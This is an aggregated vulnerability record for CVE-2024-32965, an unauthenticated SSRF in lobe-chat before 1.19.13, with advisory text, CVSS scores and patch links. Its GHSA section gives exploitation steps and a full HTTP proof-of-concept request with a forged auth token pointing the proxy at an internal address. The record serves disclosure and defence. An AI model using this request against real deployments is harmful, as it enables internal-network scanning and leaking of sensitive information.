{"id":"CVE-2024-32965","aliases":["CVE-2024-32965","GHSA-2xcc-vm3f-m8rw"],"related":[],"kind":"vulnerability","state":"published","title":"ssrf vulnerability in lobe-chat","summary":"Lobe Chat is an open-source, AI chat framework. Versions of lobe-chat prior to 1.19.13 have an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, can be modified to scan an internal network in the target lobe-web environment. This issue has been addressed in release version 1.19.13 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Lobe Chat is an open-source, AI chat framework. Versions of lobe-chat prior to 1.19.13 have an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, can be modified to scan an internal network in the target lobe-web environment. This issue has been addressed in release version 1.19.13 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","source":"cvelist"},{"lang":"en","text":"### Summary\nlobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/\n* click settings -> llm -> openai\n* fill the OpenAI API Key you like\n* fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path \"/chat/completions\" which can be bypassed with sharp like \"http://172.23.0.1:8000/#\")\n* then lobe will echo the ssrf result\n\nThe jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d55e21e0-59d8-4a8e-8c56-4bcda3302dc2)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/86833362-4e9e-4d07-9542-420db541f7a4)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d8891a1b-5b6f-434d-8125-8da46055a935)\n\n\n\n### PoC\n```http\nPOST /api/chat/openai HTTP/2\nHost: chat-preview.lobehub.com\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0\nContent-Length: 158\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nX-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4\nContent-Type: application/json\nX-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/llm\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\nConnection: close\n\n{\"model\":\"gpt-3.5-turbo\",\"stream\":true,\"frequency_penalty\":0,\"presence_penalty\":0,\"temperature\":0.6,\"top_p\":1,\"messages\":[{\"content\":\"hello\",\"role\":\"user\"}]}\n```\n\n### Impact\nSSRF, All users will be impacted.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Lobe Chat es un framework de chat de inteligencia artificial de código abierto. Las versiones de lobe-chat anteriores a la 1.19.13 tienen una vulnerabilidad SSRF no autorizada. Un atacante puede crear solicitudes maliciosas para provocar SSRF sin iniciar sesión, atacar servicios de intranet y filtrar información confidencial. La dirección del proxy almacenada del encabezado del token jwt X-Lobe-Chat-Auth y la clave de API de OpenAI se pueden modificar para escanear una red interna en el entorno web de lobe-web de destino. Este problema se ha solucionado en la versión de lanzamiento 1.19.13 y se recomienda a todos los usuarios que la actualicen. No existen workarounds para esta vulnerabilidad.","source":"nvd"}],"published":"2024-11-26T15:39:38.000Z","modified":"2026-06-17T07:30:47.120Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","score":8.6,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 1.19.13","status":"affected"}],"vendor":"lobehub","product":"lobe-chat","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"1.19.13","status":"affected"}],"vendor":"lobehub","product":"lobe_chat","cpe":"cpe:2.3:a:lobehub:lobe_chat:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.19.13"}],"ecosystem":"npm","package":"@lobehub/chat","purl":"pkg:npm/%40lobehub/chat","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.19.13"}],"vendor":"lobehub","product":"lobe_chat","cpe":"cpe:2.3:a:lobehub:lobe_chat:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-2xcc-vm3f-m8rw","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32965","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/lobehub/lobe-chat","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-11-26T18:47:02.651Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-32965","url":"https://www.cve.org/CVERecord?id=CVE-2024-32965","licence":"CVE Terms of Use","modified":"2024-11-26T18:48:27.413Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2xcc-vm3f-m8rw","url":"https://github.com/advisories/GHSA-2xcc-vm3f-m8rw","licence":"CC-BY-4.0","modified":"2024-11-26T21:43:24.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-32965","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32965","licence":"Public domain","modified":"2026-06-17T07:30:47.120Z"}],"updatedAt":"2026-11-25T22:58:49.474Z","epss":{"score":0.26131,"percentile":0.98026,"date":"2026-12-01T12:00:22.000Z"}}